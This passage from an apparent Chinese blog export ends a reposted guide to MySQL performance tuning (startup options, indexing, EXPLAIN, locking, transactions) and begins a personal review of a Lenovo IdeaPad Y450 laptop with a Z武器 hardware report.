1206\ninformix_odbc 121126\nms-sql_odbc 1634\noracle_odbc 20800\nsolid_odbc 877\nsybase_odbc 17614\n插入350768行： NT Linux\nmysql 381 206\nmysql_odbc 619\ndb2_odbc 3460\ninformix_odbc 2692\nms-sql_odbc 4012\noracle_odbc 11291\nsolid_odbc 1801\nsybase_odbc 4802\n在上述测试中，MySQL配置8M高速缓存运行，其他数据库以默认安装运行。\n十四、重要的MySQL启动选项\nback_log 如果需要大量新连接，修改它。\nthread_cache_size 如果需要大量新连接，修改它。\nkey_buffer_size 索引页池，可以设成很大。\nbdb_cache_size BDB表使用的记录和键吗高速缓存。\ntable_cache 如果有很多的表和并发连接，修改它。\ndelay_key_write 如果需要缓存所有键码写入，设置它。\nlog_slow_queries 找出需花大量时间的查询。\nmax_heap_table_size 用于GROUP BY\nsort_buffer 用于ORDER BY和GROUP BY\nmyisam_sort_buffer_size 用于REPAIR TABLE\njoin_buffer_size 在进行无键吗的联结时使用。\n十五、优化表\nMySQL拥有一套丰富的类型。你应该对每一列尝试使用最有效的类型。\nANALYSE过程可以帮助你找到表的最优类型：SELECT * FROM table_name PROCEDURE ANALYSE()。\n对于不保存NULL值的列使用NOT NULL，这对你想索引的列尤其重要。\n将ISAM类型的表改为MyISAM。\n如果可能，用固定的表格式创建表。\n不要索引你不想用的东西。\n利用MySQL能按一个索引的前缀进行查询的事实。如果你有索引INDEX(a,b)，你不需要在a上的索引。\n不在长CHAR/VARCHAR列上创建索引，而只索引列的一个前缀以节省存储空间。CREATE TABLE table_name (hostname CHAR(255) not null, index(hostname(10)))\n对每个表使用最有效的表格式。\n在不同表中保存相同信息的列应该有同样的定义并具有相同的列名。\n十六、MySQL如何次存储数据\n数据库以目录存储。\n表以文件存储。\n列以变长或定长格式存储在文件中。对BDB表，数据以页面形式存储。\n支持基于内存的表。\n数据库和表可在不同的磁盘上用符号连接起来。\n在Windows上，MySQL支持用.sym文件内部符号连接数据库。\n十七、MySQL表类型\nHEAP表：固定行长的表，只存储在内存中并用HASH索引进行索引。\nISAM表：MySQL 3.22中的早期B-tree表格式。\nMyIASM：IASM表的新版本，有如下扩展：\n二进制层次的可移植性。\nNULL列索引。\n对变长行比ISAM表有更少的碎片。\n支持大文件。\n更好的索引压缩。\n更好的键吗统计分布。\n更好和更快的auto_increment处理。\n来自Sleepcat的Berkeley DB(BDB)表：事务安全(有BEGIN WORK/COMMIT|ROLLBACK)。\n十八、MySQL行类型（专指IASM/MyIASM表）\n如果所有列是定长格式(没有VARCHAR、BLOB或TEXT)，MySQL将以定长表格式创建表，否则表以动态长度格式创建。\n定长格式比动态长度格式快很多并更安全。\n动态长度行格式一般占用较少的存储空间，但如果表频繁更新，会产生碎片。\n在某些情况下，不值得将所有VARCHAR、BLOB和TEXT列转移到另一个表中，只是获得主表上的更快速度。\n利用myiasmchk（对ISAM，pack_iasm），可以创建只读压缩表，这使磁盘使用率最小，但使用慢速磁盘时，这非常不错。压缩表充分地利用将不再更新的日志表\n十九、MySQL高速缓存（所有线程共享，一次性分配）\n键码缓存：key_buffer_size，默认8M。\n表缓存：table_cache，默认64。\n线程缓存：thread_cache_size，默认0。\n主机名缓存：可在编译时修改，默认128。\n内存映射表：目前仅用于压缩表。\n注意：MySQL没有行高速缓存，而让操作系统处理。\n二十、MySQL缓存区变量（非共享，按需分配）\nsort_buffer：ORDER BY/GROUP BY\nrecord_buffer：扫描表。\njoin_buffer_size：无键联结\nmyisam_sort_buffer_size：REPAIR TABLE\nnet_buffer_length:对于读SQL语句并缓存结果。\ntmp_table_size：临时结果的HEAP表大小。\n二十一、MySQL表高速缓存工作原理\n每个MyISAM表的打开实例(instance)使用一个索引文件和一个数据文件。如果表被两个线程使用或在同一条查询中使用两次，MyIASM将共享索引文件而是打开数据文件的另一个实例。\n如果所有在高速缓存中的表都在使用，缓存将临时增加到比表缓存尺寸大些。如果是这样，下一个被释放的表将被关闭。\n你可以通过检查mysqld的Opened_tables变量以检查表缓存是否太小。如果该值太高，你应该增大表高速缓存。\n二十二、MySQL扩展/优化-提供更快的速度\n使用优化的表类型（HEAP、MyIASM或BDB表）。\n对数据使用优化的列。\n如果可能使用定长行。\n使用不同的锁定类型（SELECT HIGH_PRIORITY，INSERT LOW_PRIORITY）\nAuto_increment\nREPLACE (REPLACE INTO table_name VALUES (\u0026#8230;))\nINSERT DELAYED\nLOAD DATA INFILE / LOAD_FILE()\n使用多行INSERT一次插入多行。\nSELECT INTO OUTFILE\nLEFT JOIN, STRAIGHT JOIN\nLEFT JOIN ，结合IS NULL\nORDER BY可在某些情况下使用键码。\n如果只查询在一个索引中的列，将只使用索引树解决查询。\n联结一般比子查询快（对大多数SQL服务器亦如此）。\nLIMIT\nSELECT * from table1 WHERE a \u0026gt; 10 LIMIT 10,20\nDELETE * from table1 WHERE a \u0026gt; 10 LIMIT 10\nfoo IN (常数列表) 高度优化。\nGET_LOCK()/RELEASE_LOCK()\nLOCK TABLES\nINSERT和SELECT可同时运行。\nUDF函数可装载进一个正在运行的服务器。\n压缩只读表。\nCREATE TEMPORARY TABLE\nCREATE TABLE .. SELECT\n带RAID选项的MyIASM表将文件分割成很多文件以突破某些文件系统的2G限制。\nDelay_keys\n复制功能\n二十二、MySQL何时使用索引\n对一个键码使用\u0026gt;, \u0026gt;=, =, \u0026lt;, \u0026lt;=, IF NULL和BETWEEN\nSELECT * FROM table_name WHERE key_part1=1 and key_part2 \u0026gt; 5;\nSELECT * FROM table_name WHERE key_part1 IS NULL;\n当使用不以通配符开始的LIKE\nSELECT * FROM table_name WHERE key_part1 LIKE \u0026#8216;jani%\u0026#8217;\n在进行联结时从另一个表中提取行时\nSELECT * from t1,t2 where t1.col=t2.key_part\n找出指定索引的MAX()或MIN()值\nSELECT MIN(key_part2),MAX(key_part2) FROM table_name where key_part1=10\n一个键码的前缀使用ORDER BY或GROUP BY\nSELECT * FROM foo ORDER BY key_part1,key_part2,key_part3\n在所有用在查询中的列是键码的一部分时间\nSELECT key_part3 FROM table_name WHERE key_part1=1\n二十三、MySQL何时不使用索引\n如果MySQL能估计出它将可能比扫描整张表还要快时，则不使用索引。例如如果key_part1均匀分布在1和100之间，下列查询中使用索引就不是很好：\nSELECT * FROM table_name where key_part1 \u0026gt; 1 and key_part1 \u0026lt; 90\n如果使用HEAP表且不用=搜索所有键码部分。\n在HEAP表上使用ORDER BY。\n如果不是用键码第一部分\nSELECT * FROM table_name WHERE key_part2=1\n如果使用以一个通配符开始的LIKE\nSELECT * FROM table_name WHERE key_part1 LIKE \u0026#8216;%jani%\u0026#8217;\n搜索一个索引而在另一个索引上做ORDER BY\nSELECT * from table_name WHERE key_part1 = # ORDER BY key2\n二十四、学会使用EXPLAIN\n对于每一条你认为太慢的查询使用EXPLAIN!\nmysql\u0026gt; explain select t3.DateOfAction, t1.TransactionID\n-\u0026gt; from t1 join t2 join t3\n-\u0026gt; where t2.ID = t1.TransactionID and t3.ID = t2.GroupID\n-\u0026gt; order by t3.DateOfAction, t1.TransactionID;\n+\u0026#8212;\u0026#8212;-+\u0026#8212;\u0026#8212;\u0026#8211;+\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;+\u0026#8212;\u0026#8212;\u0026#8212;+\u0026#8212;\u0026#8212;\u0026#8212;+\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;+\u0026#8212;\u0026#8212;+\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;+\n| table | type | possible_keys | key | key_len | ref | rows | Extra |\n+\u0026#8212;\u0026#8212;-+\u0026#8212;\u0026#8212;\u0026#8211;+\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;+\u0026#8212;\u0026#8212;\u0026#8212;+\u0026#8212;\u0026#8212;\u0026#8212;+\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;+\u0026#8212;\u0026#8212;+\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;+\n| t1 | ALL | NULL | NULL | NULL | NULL | 11 | Using temporary; Using filesort |\n| t2 | ref | ID | ID | 4 | t1.TransactionID | 13 | |\n| t3 | eq_ref | PRIMARY | PRIMARY | 4 | t2.GroupID | 1 | |\n+\u0026#8212;\u0026#8212;-+\u0026#8212;\u0026#8212;\u0026#8211;+\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;+\u0026#8212;\u0026#8212;\u0026#8212;+\u0026#8212;\u0026#8212;\u0026#8212;+\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;+\u0026#8212;\u0026#8212;+\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;+\nALL和范围类型提示一个潜在的问题。\n二十五、学会使用SHOW PROCESSLIST 使用SHOW processlist来发现正在做什么： +\u0026#8212;-+\u0026#8212;\u0026#8212;-+\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;+\u0026#8212;-+\u0026#8212;\u0026#8212;\u0026#8212;+\u0026#8212;\u0026#8212;+\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;+\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-+ | Id | User | Host | db | Command | Time | State | Info | +\u0026#8212;-+\u0026#8212;\u0026#8212;-+\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;+\u0026#8212;-+\u0026#8212;\u0026#8212;\u0026#8212;+\u0026#8212;\u0026#8212;+\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;+\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-+ | 6 | monty | localhost | bp | Query | 15 | Sending data | select * from station,station as s1 | | 8 | monty | localhost | | Query | 0 | | show processlist | +\u0026#8212;-+\u0026#8212;\u0026#8212;-+\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;+\u0026#8212;-+\u0026#8212;\u0026#8212;\u0026#8212;+\u0026#8212;\u0026#8212;+\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;+\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-+ 在mysql或mysqladmin中用KILL来杀死溜掉的线程。 二十六、如何知晓MySQL解决一条查询 运行项列命令并试图弄明白其输出： SHOW VARIABLES; SHOW COLUMNS FROM \u0026#8230;G EXPLAIN SELECT \u0026#8230;G FLUSH STATUS; SELECT \u0026#8230;; SHOW STATUS; 二十七、MySQL非常不错 日志 在进行很多连接时，连接非常快。 同时使用SELECT和INSERT的场合。 在不把更新与耗时太长的选择结合时。 在大多数选择/更新使用唯一键码时。 在使用没有长时间冲突锁定的多个表时。 在用大表时(MySQL使用一个非常紧凑的表格式)。 二十八、MySQL应避免的事情 用删掉的行更新或插入表，结合要耗时长的SELECT。 在能放在WHERE子句中的列上用HAVING。 不使用键码或键码不够唯一而进行JOIN。 在不同列类型的列上JOIN。 在不使用=匹配整个键码时使用HEAP表。 在MySQL监控程序中忘记在UPDATE或DELETE中使用一条WHERE子句。如果想这样做，使用mysql客户程序的\u0026#8211;i-am-a-dummy选项。 二十九、MySQL各种锁定 内部表锁定 LOCK TABLES（所有表类型适用） GET LOCK()/RELEASE LOCK() 页面锁定（对BDB表） ALTER TABLE也在BDB表上进行表锁定 LOCK TABLES允许一个表有多个读者和一个写者。 一般WHERE锁定具有比READ锁定高的优先级以避免让写入方干等。对于不重要的写入方，可以使用LOW_PRIORITY关键字让锁定处理器优选读取方。 UPDATE LOW_PRIORITY SET value=10 WHERE id=10; 三十、给MySQL更多信息以更好地解决问题的技巧 注意你总能去掉(加注释)MySQL功能以使查询可移植： SELECT /*! SQL_BUFFER_RESULTS */ \u0026#8230; SELECT SQL_BUFFER_RESULTS \u0026#8230; 将强制MySQL生成一个临时结果集。只要所有临时结果集生成后，所有表上的锁定均被释放。这能在遇到表锁定问题时或要花很长时间将结果传给客户端时有所帮助。 SELECT SQL_SMALL_RESULT \u0026#8230; GROUP BY \u0026#8230; 告诉优化器结果集将只包含很少的行。 SELECT SQL_BIG_RESULT \u0026#8230; GROUP BY \u0026#8230; 告诉优化器结果集将包含很多行。 SELECT STRAIGHT_JOIN \u0026#8230; 强制优化器以出现在FROM子句中的次序联结表。 SELECT \u0026#8230; FROM table_name [USE INDEX (index_list) | IGNORE INDEX (index_list)] table_name2 强制MySQL使用/忽略列出的索引。 三十一、事务的例子 MyIASM表如何进行事务处理: mysql\u0026gt; LOCK TABLES trans READ, customer WRITE; mysql\u0026gt; select sum(value) from trans where customer_id=some_id; mysql\u0026gt; update customer set total_value=sum_from_previous_statement where customer_id=some_id; mysql\u0026gt; UNLOCK TABLES; BDB表如何进行事务: mysql\u0026gt; BEGIN WORK; mysql\u0026gt; select sum(value) from trans where customer_id=some_id; mysql\u0026gt; update customer set total_value=sum_from_previous_statement where customer_id=some_id; mysql\u0026gt; COMMIT; 注意你可以通过下列语句回避事务: UPDATE customer SET value=value+new_value WHERE customer_id=some_id; 三十二、使用REPLACE的例子 REPLACE的功能极像INSERT，除了如果一条老记录在一个唯一索引上具有与新纪录相同的值，那么老记录在新纪录插入前则被删除。不使用 SELECT 1 FROM t1 WHERE key=# IF found-row LOCK TABLES t1 DELETE FROM t1 WHERE key1=# INSERT INTO t1 VALUES (\u0026#8230;) UNLOCK TABLES t1; ENDIF 而用 REPLACE INTO t1 VALUES (\u0026#8230;) 三十三、一般技巧 使用短主键。联结表时使用数字而非字符串。 当使用多部分键码时，第一部分应该时最常用的部分。 有疑问时，首先使用更多重复的列以获得更好地键码压缩。 如果在同一台机器上运行MySQL客户和服务器，那么在连接MySQL时则使用套接字而不是TCP/IP（这可以提高性能7.5%）。可在连接MySQL服务器时不指定主机名或主机名为localhost来做到。 如果可能，使用\u0026#8211;skip-locking(在某些OS上为默认)，这将关闭外部锁定并将提高性能。 使用应用层哈希值而非长键码： SELECT * FROM table_name WHERE hash=MD5(concat(col1,col2)) AND col_1=\u0026#8217;constant\u0026#8217; AND col_2=\u0026#8217;constant\u0026#8217; 在文件中保存需要以文件形式访问的BLOB，在数据库中只保存文件名。 删除所有行比删除一大部分行要快。 如果SQL不够快，研究一下访问数据的较底层接口。 三十四、使用MySQL 3.23的好处 MyISAM：可移植的大表格式 HEAP：内存中的表 Berkeley DB：支持事务的表。 众多提高的限制 动态字符集 更多的STATUS变量 CHECK和REPAIR表 更快的GROUP BY和DISTINCT LEFT JOIN \u0026#8230; IF NULL的优化 CREATE TABLE \u0026#8230; SELECT CREATE TEMPORARY table_name (\u0026#8230;) 临时HEAP表到MyISAM表的自动转换 复制 mysqlhotcopy脚本 三十五、正在积极开发的重要功能 改进事务处理 失败安全的复制 正文搜索 多个表的删除(之后完成多个表的更新) 更好的键码缓存 原子RENAME (RENAME TABLE foo as foo_old, foo_new as foo) 查询高速缓存 MERGE TABLES 一个更好的GUI客户程序 （责任编辑：卢兆林） ","permalink":"https://hessian.cn/p/471.html","summary":"一、我们可以且应该优化什么？ 硬件\n操作系统/软件库\nSQL服务器(设置和查询)\n应用编程接口(API)\n","title":"[转]个人经验总结：MySQL数据库优化技巧集锦"},{"content":" 联想Y450A-TSI(D)T6500/2G/320G/Y450AT6500灰色 （￥5200） 2009年6月20日入手，价格足比市场低了400以上。。。。HOHOHO.。。。现在最低报价我也就看到了5600\n不过要注意的是 我买的这款是 （D）版本，就是降配置后的新版本，CPU从6600降到了6500同时没有预装VISTA而改装了DOS。\n我是在这家店买的：\nhttp://item.taobao.com/auction/item_detail-db1-28b8f1afba4d224f11a9204743f97abf.jhtml\n（这店叫什么天晴东方，反正据我在太平洋一层打探的消息，整个太平洋里卖联想的都是这家，应该是比较可靠，而且卖给我的那个人一层的业务员也认识，不过我没仔细打听了。）\n不过是直接去的实体店拿货，现金支付，没拿发票，要发票得加3个税点。。。我可是穷人来的。。\n然后加了75块钱要了个双肩包，蓝色的（据说是原装，我看了质量不错就将就了，反正也不贵）。\n鼠标我没买，回家用自己的旧双飞燕FS-705。\n买的时候我是带了我自己做的USB启动盘去测试，但是由于驱动原因机器性能得不到完全发挥，所以我还是让他当场装了XP验机，装上系统后查了一下配置什么都OK我就直接提走了，回家慢慢玩（为了新本子，我可是把所有XP驱动都是下好了呀。。。HOHOHO）。\n回家后用深度GHOSTXP 专业版9.0重新装了系统，把分区也重新分了，那个什么一键恢复对我来说完全没用，我用GHOST就够了。\nC：20G（- \u0026#8211; 以前喜欢分10G 自从上次装VISTA没装进去之后就开始分20G了。。。） D：100G （装软件，以及工作文件）\nE：50G（装些文档，照片，MP3什么的） F：128G（装备份程序，安装程序，电影什么的大东西，这个分区是启用了NTFS压缩的）\n说说性能，去跑了跑战地2没问题。。。。其他游戏基本没试。。。反正我有台式机\n3DMARK06 我台式机5000+CPU 3850的显卡也就8600分\n这本子能上7000分已经很不错了，整机性能缺陷我觉得就是硬盘了。。。早知道逼他给我找台西数硬盘的。。。\n机器用起来挺安静的，没什么特别的声音，喇叭的效果不错，声卡还支持杜比特效，屏幕下面那一排触感按键比较漂亮，虽然不常用。。。。（谁让我不是VISTA.。。）\n键盘的感觉比较舒服，对比了同事的笔记本，我觉得我的键盘还是比较不错的，仔细看了一下键盘发现好像方向键还做了些特殊处理，起码颜色是不太一样的。。。嘿嘿。。。\n再说触控板，定位比较精确，还有滚动栏控制功能，更是有一个目前我还没看到过的多点触摸，比较好玩，虽然多点触摸我只发现了可以放大缩小。。。。噢，对了，还有个旋转滚动的功能。。。就是可以在触控板上画圈来滚动页面，也比较有用，如果页面很长的时候会比较方便。触控板的左右键中间还有个禁用指示灯，如果触控板被禁用该灯就会亮起，这点比较人性化。\n扩展能力\n450的插口是非常齐全的，左边有1个VGA口一个RJ45接口（有线网） HDMI高清接口 两个USB接口，右边则是DC（电源）接口，一个USB（插鼠标比较方便），光驱，E-SATA/USB COMBO（这个接口即可以插ESATA设备也可以插USB设备） 还有一个1394口，在机器正面指示灯的右边有话筒和音频输出孔，再往右还有一个读卡器和无线开关，这么丰富的接口基本上可以满足我们的所有需要了吧。\n如果USB口不够用还可以用底座扩展不是？但是我听说ESATA口的位置会比较挡手。。。。\n由于450的翻盖设计比较特别，所以本子后面基本上是没法做插口的，所有插口的被放置在了左右和前方。\n下面上图。\n\u0026#8212;\u0026#8212;\u0026#8212;Z武器详细报告\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n\u0026#8212;\u0026#8212;\u0026#8211;[ Z武器 ]\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\n版本:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Z武器 2.29.9.619\n主页:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; http://www.zwuqi.com\n操作系统:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Windows XP Professional ( 32位 / SP3 / DirectX 9.0c )\n\u0026#8212;\u0026#8212;\u0026#8211;[ 概览 ]\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\n电脑:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 联想 IdeaPad Y450 笔记本电脑\n处理器:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 英特尔 Core 2 Duo T6500 @ 2.10GHz\n主板:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 联想 KL1\n芯片组:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Intel Mobile 4 Series Chipset\n内存:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2 GB ( 镁光 DDR3 1067F MHz )\n主硬盘:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 富士通 MHZ2320BH G2 ( 320 GB )\n主显卡:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Nvidia GeForce GT 130M ( 512 MB / 联想 )\n显示器:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 友达 AUO103C ( 13.9 英寸 )\n主光驱:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 索尼-NEC Optiarc DVD RW AD-7580S ( DVD-RAM/DVD+-RW )\n主声卡:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 瑞昱 ALC269 @ 英特尔 82801I(ICH9) HD Audio Controller\n主网卡:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 博通 NetLink BCM5784M Gigabit Ethernet PCIe / 联想\n\u0026#8212;\u0026#8212;\u0026#8211;[ 主板 ]\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\n处理器\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 处理器:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 英特尔 Core 2 Duo T6500 @ 2.10GHz\n核心:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Penryn (45 纳米) / 核心数: 2\n逻辑处理器个数:\u0026nbsp;\u0026nbsp; 2\n插座/插槽:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Socket P (478)\n速度:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2.10 GHz (200 MHz x 10.0) / 前端总线: 800 MHz\n一级数据缓存:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2 x 32 KB, 8-Way, 64 byte lines\n一级代码缓存:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2 x 32 KB, 8-Way, 64 byte lines\n二级缓存:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2 MB, 8-Way, 64 byte lines (速度: 1193 MHz)\n特征:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; MMX, SSE, SSE2, SSE3, SSSE3, SSE4.1, EM64T, EIST\n主板\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 主板:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 联想 KL1\n主板序列号:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; EB12391739\n主板版本:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Rev 1.0\n板载设备:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; HD-Audio / 音频设备 (禁用)\n板载设备:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Card Reader Controller / 其他 (禁用)\n芯片组:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 英特尔 Mobile 4 Series Chipset\nBIOS:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 联想 17CN22WW / 制造日期: 03/20/2009\n\u0026#8212;\u0026#8212;\u0026#8211;[ CPU寄存器 ]\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\nFunction\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; EAX\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; EBX\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ECX\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; EDX\n00000000\u0026nbsp;\u0026nbsp; 0x0000000D\u0026nbsp;\u0026nbsp; 0x756E6547\u0026nbsp;\u0026nbsp; 0x6C65746E\u0026nbsp;\u0026nbsp; 0x49656E69\n00000001\u0026nbsp;\u0026nbsp; 0x0001067A\u0026nbsp;\u0026nbsp; 0x01020800\u0026nbsp;\u0026nbsp; 0x0408E39D\u0026nbsp;\u0026nbsp; 0xBFEBFBFF\n00000002\u0026nbsp;\u0026nbsp; 0x05B0B101\u0026nbsp;\u0026nbsp; 0x005657F0\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x2CB4307D\n00000003\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 0x00000000\u0026nbsp;\u0026nbsp; 